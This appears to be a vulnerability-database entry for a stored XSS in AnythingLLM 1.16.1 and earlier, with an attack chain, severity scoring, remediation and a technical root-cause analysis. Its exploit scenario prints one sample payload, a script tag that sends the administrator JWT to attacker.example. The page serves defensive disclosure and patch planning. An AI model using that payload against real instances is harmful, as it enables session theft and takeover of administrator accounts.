Skip to main content

AnythingLLM CVE-2026-88055

| EUVDEUVD-2026-75642 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-10 GitHub_M
5.5
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain or compromise manager-role credentials
  2. Delivery
    POST crafted XSS payload to /api/admin/system-preferences
  3. Exploit
    MetaGenerator stores and renders unescaped value in homepage HTML
  4. Execution
    Administrator visits homepage, injected script executes
  5. Persist
    Exfiltrate administrator JWT to attacker-controlled endpoint
  6. Impact
    Authenticate as administrator via stolen JWT to create API keys or modify data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid manager-role account on the target AnythingLLM instance; the manager role is a built-in privilege tier below full administrator. No non-default configuration is needed: the /api/admin/system-preferences endpoint accepting meta_page_title and meta_page_favicon is present in all default installations through version 1.16.1. The stored payload executes only when an administrator visits the root homepage (/), which is a low-friction condition under normal usage. Limiting factors are: (1) attacker must possess or compromise a manager-role credential (PR:H gate); (2) an administrator must load the homepage in a browser after the payload is planted - passive social engineering at most, since admins routinely access the homepage; (3) impact is limited to the authenticated administrator's session context and what the JavaScript can reach from the browser (primarily the stored JWT). Unauthenticated external attackers without manager credentials cannot trigger this vulnerability.

Impact

The provided CVSS base score of 5.5 (AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N) materially understates the real-world impact in two respects. First, the C:L and I:L ratings do not reflect the actual post-exploitation outcome: successful execution of the payload yields a full administrator JWT, enabling complete instance takeover - all data access, user deletion, and persistent API key creation. Second, UI:N is inconsistent with stored XSS that requires a victim (the administrator) to visit the homepage before the script fires; UI:R is the correct label for this pattern. The PR:H requirement - a valid manager account - is the meaningful gate and genuinely limits the attack surface to partially trusted internal users rather than anonymous adversaries. In deployments where the manager role is assigned to third parties or less-trusted staff, this is a meaningful privilege escalation path. No EPSS data, CISA KEV listing, or public exploit code has been identified, keeping real-world urgency moderate despite high theoretical post-exploitation impact. The absence of a released patched version increases residual risk.

Exploit ScenarioDerived

A manager-role user - whether a compromised account or a malicious insider - submits a POST to /api/admin/system-preferences setting meta_page_title to a value such as "><script>fetch('https://attacker.example/c?t='+localStorage.getItem('anythingllm_token'))</script>. The next time any administrator browses to the AnythingLLM homepage (a routine action), their browser renders the unescaped tag and transmits their JWT to the attacker's server. The attacker then authenticates as administrator against the AnythingLLM API to create a persistent API key, extract all chat histories, and delete or demote user accounts. No public exploit code has been identified, but the technique requires no special tooling beyond a valid manager-role session.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 10, 2026

Stored XSS in AnythingLLM 1.16.1 and earlier enables a manager-role user to inject arbitrary JavaScript into the application homepage by writing a malicious meta_page_title or meta_page_favicon value via /api/admin/system-preferences - MetaGenerator renders those values into page HTML without any HTML entity encoding. When an administrator visits the homepage, the injected script executes in their browser session and can exfiltrate the administrator JWT token. With the stolen JWT, the attacker escalates fully to administrator level, gaining the ability to create API keys, read or alter all workspace and chat data, delete users, and execute any other administrative operation. No fixed release version is available; only an upstream commit patch exists.

RemediationAI

No vendor-released patched version has been confirmed at the time of analysis - only upstream commit 6dff9d71ab585e87a3145a48abc63c2b60151149 (https://github.com/Mintplex-Labs/anything-llm/commit/6dff9d71ab585e87a3145a48abc63c2b60151149) is available. Organizations should monitor GHSA-rh3m-xv7m-9jhf for a tagged release and upgrade immediately upon availability. As interim compensating controls: (1) Restrict the manager role to fully trusted internal users only, since manager-role access is the prerequisite for planting the payload - note this may impair legitimate delegation workflows. (2) Implement a Content Security Policy (CSP) header on the AnythingLLM server that blocks inline script execution; this directly mitigates the XSS vector but requires testing against any legitimate inline scripts the application uses. (3) Network-isolate the AnythingLLM instance so that exfiltration to external attacker infrastructure requires an additional step, reducing the value of the stolen JWT to within-network abuse only.

Affected VersionsENISA

anything-llm ≤ 1.16.1

Affected Packages

euvd anything_llm no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

AnythingLLM (CPE: cpe:2.3:a:mintplex-labs:anything-llm) is a Node.js-based open-source LLM application platform that allows operators to ingest documents and expose them as retrieval-augmented chat contexts. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS): manager-role users post to /api/admin/system-preferences, which is handled by server/endpoints/admin.js. Those values transit server/models/systemSettings.js without sanitization and reach MetaGenerator.generate() in server/index.js, where the private #assembleMeta() method in server/utils/boot/MetaGenerator.js concatenates them directly into HTML using template literals such as ${key}="${value}" and >${tag.content}</${tag.tag}>. No encoding is applied to attribute values or text content, permitting quote-breakout and script-tag injection. The upstream fix (commit 6dff9d71) introduces a private #escapeHtml() method that replaces &, <, >, ", and ' with their HTML entities before any interpolation.

Know when Anything Llm gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 5.5 MEDIUM
AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 8.1 HIGH

Manager-role credential required (PR:H); admin must visit homepage for payload to fire (UI:R); full JWT theft yields complete admin takeover warranting C:H/I:H with scope change.

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. In 1.16.1 and earlier, the manager role can store meta_page_title or meta_page_favicon through /api/admin/system-preferences, and MetaGenerator inserts those values into production homepage HTML without escaping attribute values or text content. The values pass unchanged through server/models/systemSettings.js and reach MetaGenerator.generate() in server/index.js. #assembleMeta() in server/utils/boot/MetaGenerator.js concatenates the stored values into HTML. When an administrator visits the homepage /, injected JavaScript can read the administrator JWT and use it to create API keys, access or modify workspace and chat data, delete users, and perform other administrator actions. server/endpoints/admin.js accepts the manager-controlled settings before server/models/systemSettings.js returns them unchanged. No fixed version is available as of this review.

Threat Intelligence Overview

EPSS Score
0.2%
Top 90% exploitable
Prevalence
Medium
popular open-source LLM/RAG platform with growing AI tooling adoption
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

28
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +28
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2023-4899 HIGH POC
8.8 Sep 12

SQL Injection in GitHub repository mintplex-labs/anything-llm prior to 0.0.1. Rated high severity (CVSS 8.8), this vulne

CVE-2023-4898 HIGH POC
7.5 Sep 12

Authentication Bypass by Primary Weakness in GitHub repository mintplex-labs/anything-llm prior to 0.0.1. Rated high sev

CVE-2026-32626 CRITICAL
9.6 Mar 13

XSS in AnythingLLM 1.11.1 and earlier.

CVE-2026-48116 HIGH
8.8 May 28

Argument-injection command execution in Mintplex Labs AnythingLLM before 1.13.0 lets an attacker who can chat with an ag

CVE-2026-32628 HIGH
7.7 Mar 13

SQL injection in AnythingLLM versions 1.11.1 and earlier enables authenticated users to execute arbitrary SQL commands a

CVE-2026-32617 HIGH
7.1 Mar 13

AnythingLLM versions 1.11.1 and earlier contain an authentication bypass vulnerability on default installations where th

CVE-2026-41318 MEDIUM
5.4 Apr 24

Stored DOM-level XSS in AnythingLLM's chart caption rendering allows authenticated users in shared workspaces to inject

CVE-2026-48789 MEDIUM
4.3 Jun 24

Path traversal in AnythingLLM's document folder listing endpoint on Windows allows authenticated low-privilege users to

CVE-2026-47713 MEDIUM
4.3 May 28

Stale mobile device tokens in AnythingLLM survive single-user to multi-user mode migration with a null userId, allowing

CVE-2026-42456 MEDIUM
4.3 May 08

The text-to-speech endpoint in AnythingLLM prior to v1.12.1 exposes an Insecure Direct Object Reference (IDOR) allowing

CVE-2026-32719 MEDIUM
4.2 Mar 13

AnythingLLM versions 1.11.1 and earlier contain a Zip Slip path traversal vulnerability in the community plugin import f

CVE-2026-32715 LOW
3.8 Mar 13

AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatti

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy